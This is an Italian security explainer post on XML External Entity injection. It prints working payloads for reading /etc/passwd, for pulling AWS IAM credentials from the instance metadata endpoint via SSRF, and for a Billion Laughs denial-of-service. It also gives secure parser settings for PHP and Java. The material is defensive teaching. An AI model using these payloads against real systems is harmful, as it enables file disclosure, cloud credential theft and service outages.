Skip to main content
  1. Concetti/

XXE - XML External Entity Injection

·5 mins
Alessio Barnini
Author
Alessio Barnini
Table of Contents

Cosa fa
#

XXE sfrutta il meccanismo delle XML entity esterne: l'attaccante definisce un'entita' che punta a un file locale o a un URL esterno, e il parser XML la espande automaticamente prima di elaborare il documento, restituendo dati che non dovrebbe mai esporre.

TL;DR
#

  1. XXE: il parser XML processa entity esterne definite dall'attaccante nel DOCTYPE del documento.
  2. File Disclosure: SYSTEM "file:///etc/passwd" restituisce il contenuto del file nella risposta XML.
  3. SSRF via XXE: SYSTEM "http://169.254.169.254/" fa richiedere al server metadati AWS o risorse interne.
  4. Billion Laughs: entity che si espandono esponenzialmente → memory exhaustion → DoS del parser.
  5. Fix principale: disabilitare il processamento di entity esterne nel parser XML.
  6. PHP 8+: entity loader disabilitato per default. Java: richiedere configurazione esplicita.

Come funziona XML External Entity
#

XML supporta le entity come meccanismo di sostituzione: &amp; diventa &, &lt; diventa <. Le entity esterne estendono questo meccanismo permettendo di puntare a risorse esterne tramite SYSTEM. Il parser le risolve automaticamente, ed e' qui che si trova la vulnerabilita': il "sistema" che risolve l'entita' e' il server, non il client.

sequenceDiagram
    participant ATK as Attaccante
    participant SRV as Server (parser XML)
    participant FS as Filesystem

    ATK ->> SRV: POST /api/parse\nContent-Type: application/xml\n[payload con SYSTEM "file:///etc/passwd"]

    Note over SRV: Parser processa DOCTYPE
    SRV ->> FS: Legge /etc/passwd (risolve entity)
    FS ->> SRV: Contenuto di /etc/passwd

    SRV ->> ATK: Risposta XML con contenuto del file embedded

Payload base per file disclosure:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

Il parser XML incontra &xxe;, risolve l'entity definita nel DOCTYPE, legge /etc/passwd dal filesystem e inserisce il contenuto nel tag <data>. La risposta HTTP del server include il file.


File Disclosure
#

La variante piu' comune di XXE legge file arbitrari sul filesystem del server tramite il protocollo file://. Il requisito e' che il processo web abbia i permessi di lettura sul file target.


SSRF via XXE
#

Quando il parser XML risolve entity con protocollo http:// o https://, il server effettua una request HTTP per conto dell'attaccante. Questo trasforma XXE in SSRF (Server-Side Request Forgery): il server diventa un proxy non intenzionale verso risorse interne.

flowchart LR
    ATK([Attaccante]) -- "SYSTEM http://169.254.169.254/..." --> SRV["Server Web (parser XML)"]
    SRV -- "Request HTTP interna" --> META["AWS Instance Metadata\n169.254.169.254"]
    META -- "IAM credentials, user-data" --> SRV
    SRV -- "Risposta con metadati" --> ATK

    style ATK fill:#a72626,stroke:#c0392b,color:#fff
    style META fill:#154360,stroke:#2471a3,color:#fff

Payload per AWS Instance Metadata:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&xxe;</data></root>

Il server risponde con il nome del ruolo IAM associato all'istanza. Una seconda request a http://169.254.169.254/latest/meta-data/iam/security-credentials/RUOLO-IAM restituisce le credenziali AWS temporanee (AccessKeyId, SecretAccessKey, Token).

Con queste credenziali, l'attaccante puo' autenticarsi all'API AWS con i permessi del ruolo della macchina.


Billion Laughs - DoS tramite Entity Expansion
#

Il Billion Laughs attack non richiede accesso a risorse esterne: sfrutta entity che si riferiscono ad altre entity in una catena geometrica, causando un'esplosione del consumo di memoria nel parser.

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!-- ... -->
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

lol9 si espande in 10^9 occorrenze di "lol" (3 byte ciascuna) = ~3 GB di dati in memoria. Un documento XML di 1 KB causa il crash del parser per memory exhaustion.


Fix e Hardening
#

La difesa principale contro XXE e' disabilitare il processamento delle entity esterne nel parser XML. La configurazione varia per linguaggio e libreria.

PHP - configurazione sicura:

<?php
// Disabilita entity loader (necessario solo su PHP < 8.0)
libxml_disable_entity_loader(true);

$xml = simplexml_load_string(
    $input,
    'SimpleXMLElement',
    LIBXML_NOENT | LIBXML_DTDLOAD  // NON usare questi flag: abilitano entity
);

// Configurazione corretta:
$xml = simplexml_load_string(
    $input,
    'SimpleXMLElement',
    0  // Nessun flag pericoloso
);

Java - configurazione sicura:

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

// Disabilita DOCTYPE (approccio piu' sicuro)
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

// Alternativamente: disabilita solo entity esterne
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);
Warning

Non basta disabilitare solo external-general-entities in Java: le external-parameter-entities (nel DOCTYPE) sono un vettore separato. Disabilitare entrambe o vietare il DOCTYPE con disallow-doctype-decl.


Scenario Reale
#

Un'applicazione enterprise espone un endpoint /api/import che accetta file XML per importare dati di configurazione. Un security researcher invia:

<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]>
<config><name>&xxe;</name></config>

La risposta include il nome del ruolo IAM: EC2InstanceRole-prod. Una seconda request con il nome del ruolo recupera AccessKeyId, SecretAccessKey e Token con validita' di 6 ore. Il researcher ha ora accesso all'account AWS con i permessi del ruolo della macchina di produzione.

Scenario Billion Laughs su CI/CD: una pipeline di CI/CD che processa file XML di configurazione riceve un artifact malevolo con entity in catena. Il worker della pipeline crasha per memory exhaustion, blocca tutti i build del team e richiede restart manuale del servizio.

Dev parallel: come un'API che accetta un body JSON con un campo webhookUrl e fa fetch dell'URL per notifiche, senza validare che l'URL non sia http://127.0.0.1/admin o http://169.254.169.254/. La logica e' identica a XXE-SSRF: il server diventa proxy non intenzionale verso risorse interne. La difesa e' la stessa: whitelist degli schemi e degli host raggiungibili, mai trust blind dell'input utente come URI.

Collegato a
#

  • sql-injection — stessa famiglia injection: input non validato che modifica il comportamento del parser
  • command-injection — escalation analoga: da lettura file a esecuzione comandi
  • xss — altro tipo di injection, stesso principio di sanitizzazione mancante
  • csrf — SSRF via XXE e CSRF hanno dinamica simile: il server/browser fa request per conto dell'attaccante

Related